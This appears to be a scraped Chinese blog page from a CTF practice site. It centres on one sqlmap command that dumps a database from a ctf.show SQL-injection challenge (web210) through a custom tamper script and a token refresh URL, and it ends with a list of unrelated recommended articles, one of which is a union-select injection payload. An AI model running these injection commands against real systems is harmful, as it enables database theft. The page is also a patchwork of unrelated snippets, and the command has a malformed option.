python ./sqlmap.py -u "http://b04bf76a-3d4c-4460-8d70-d6c1f9a128ea.challenge.ctf.show/api/index.php" --dump --referer="ctf.show" --safe-url="http://b04bf76a-3d4c-4460-8d70-d6c1f9a128ea.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=rruut5lcilotv3sbidlsrgic9r" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/ctfshowweb210.py"
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTFSHOW-sql注入 的相关文章

随机推荐

  • qt删除已有布局

    删除已有布局 实现删除已有的界面布局 方便动态更新界面 主要思路 遍历布局 判断每一个item的类型 widget就直接删除 布局的话就先删除布局内的widget 其余类型都直接移除 注意 这里没有考虑那种复杂的布局嵌套情况 需要考虑的可以
  • vue——组件传值(高级)、属性传值、反向传值、跨级传值

    一 属性传值 父传子 父组件通过属性传值给子组件 父组件修改数据后会刷新页面并重新传值给子组件 子组件可以修改父组件传的值并刷新自己的页面 但是并不会修改父组件中的值 父组件App
  • PP-YOLO实现二维码检测与识别:一种完整的工作流程与优化策略

    目录 一 简介 二 算法介绍 三 训练和评估 3 1 环境配置 3 1 1 下载并安装PaddleDetection
  • 本科生毕业论文(设计) 免费赠送项目完整源码,可做计算机毕业设计JAVA、PHP、爬虫、APP、小程序、C#、C++、python、数据可视化、大数据、全套文案等

    本科生毕业论文 设计 摘要 1 绪论 1 1 研究背景 1 2国内外研究现状 1 3论文结构与章节安排 2 二手校园交易平台系统分析 2 1 可行性分析 2 2 系统流程分析 2 2 1 数据流程 3 3 2 业务流程 2 3 系统功能分析
  • 佛学八正道

    八正道包括正见 正思惟 正语 正业 正命 正精进 正念 正定 大毘婆娑论 说 由正见故 起正思惟 由正思惟故 得正语 由正语故 复得正业 由正业故 复得正命 由正命故 发起正勤 由正勤故 便起正念 由正念故 能起正定 1 正见 正见 即非颠
  • java自学笔记5:java中的接口

    一 1 接口概念 接口可以理解为一种特殊的类 由全局常量和公共的抽象方法所组成 类是一种具体实现体 而接口定义了某一批类所需要遵守的规范 接口不关心这些类的内部数据 也不关心这些类里方法的实现细节 它只规定这些类里必须提供某些方法 2 接口
  • myeclipse关闭项目的作用

    我myeclipse用的是10 7 1 刚开始用的时候 经过配置优化 开启软件 在使用过程中还是挺快的 但是随着项目的增多 感觉机子越来越卡 后来经过了解才知道可以通过close project 的方式 让myeclipse的运行速度获得重
  • python接口自动化(十八)--重定向(Location)(详解)

    python接口自动化 十八 重定向 Location 详解 简介 在实际工作中 有些接口请求完以后会重定向到别的url 而你却需要重定向前的url URL主要是针对虚拟空间而言 因为不是自己独立管理的服务器 所以无法正常进行常规的操作 但
  • 详解引用「&」与指针「*」

    引入 C 语言中函数有两种传参的方式 传值和传址 以传值方式 在函数调用过程中会生成一份临时变量用形参代替 最终把实参的值传递给新分配的临时变量即形参 它的优点是避免了函数调用的一些副作用 但是它无法改变实参的值 函数调用完成之后实参的值不
  • oracle的引号和竖线连接符

    在ORACLE中 单引号有两个作用 一是字符串是由单引号引用 二是转义 单引号的使用是就近配对 即就近原则 而在单引号充当转义角色时相对不好理解 1 从第二个单引号开始被视为转义符 如果第二个单引号后面还有单引号 哪怕只有一个 select
  • python大一知识点_python知识点复习

    放假归来 这几天复习了一下好久不用的python 总结了一下知识点 语法基础tuple与list的异同都由多个元素组成 tuple由 组成 list由 组成 tuple不可变 list可变 tuple表示的是一种结构 而list表示的是多个
  • java编程项目之----图书管理系统(GUI+多线程+JDBC+集合)

    编写一个 Java GUI 应用程序 实现图书信息维护子系统 支持图书信息在数据库中的 存储 Java 应用程序使用 JDBC 连接数据库 并实现图书信息的查询 新增 修改和删除等操作 图书信息维护子系统 JDBC 系统体系结构如图 2 所
  • 【HTML基础】HTML文字效果标签+超齐全颜色表(可直接复制使用)

    CSDN话题挑战赛第2期 参赛话题 学习笔记 文字段落样式效果 文字效果 1 添加文字 2 标题文字效果 效果展示 标题字标签的属性 3 空格 4 特殊字符 5 注释 6 设置文字样式属性 7 上 下标 颜色表 英语单词 十六进制数值 汇总
  • js函数写法

    目录 1 函数声明 1 1 命名函数表达式 1 2 匿名函数表达式 常用 简化为 函数表达式 2 函数用法 3 arguments实参列表和形参属性 3 1 arguments 3 2 形参属性 3 3 举例任意数求和 3 4 易错点 1
  • Redis 学习笔记(十一)基数统计(HyperLogLog)

    Redis 学习笔记 十一 基数统计 HyperLogLog 1 介绍 HyperLogLog命令是redis在2 8版本中加入的 Redis中HyperLogLog是用来做基数统计的 HyperLogLog 的优点是 在输入元素的数量或者
  • Win10 编译运行Fortran77程序,开发环境搭建

    有个朋友说我讲的blas中的fortran语法有个地方不正确 非说他自己的理解是对的 怎么肯能 f77都看了十几年了 拿出证据来才行 朋友却说自己不知道怎么编译f77程序 好吧 那还这么自信呀 首先 可以使用intel的 parallel
  • 虚拟机部署前后端操作

    虚拟机部署前后端讲解 1 虚拟机部署后端 1 1后端打包 1 2启动dsgc tomcat 1 3部署war包 1 4打开swagger测试 1 4错误原因整理 2 虚拟机部署前端 2 1配置后端代理地址 2 2启动nginx 2 3测试前
  • 机器学习聚类——实验报告

    机器学习实验报告 实验报告pdf可在该网址下载 一 实验目的与要求 二 实验内容与方法 2 1 聚类算法学习与回顾 2 1 1 聚类任务 1 聚类任务的概念 2 符号定义 3 性能度量 2 1 2 K means的算法模型 1 优化问题 2
  • CSMA/CD算法过程模拟——数组模拟信道(C/C++)

    代码完成于2021 11 12 整体思路 用两个数组分别模拟 A gt B 和B gt A间通讯的信道 A B两主机各自拥有独立线程 线程move用来模拟信道中信号的移动 线程show用于打印信道 其中线程move和show detach
  • CTFSHOW-sql注入

    web171 最简单的sql注入 先演示基本操作 payload 1 union select 1 2 database 得到数据库名为ctfshow web 1 union select 1 2 group concat table na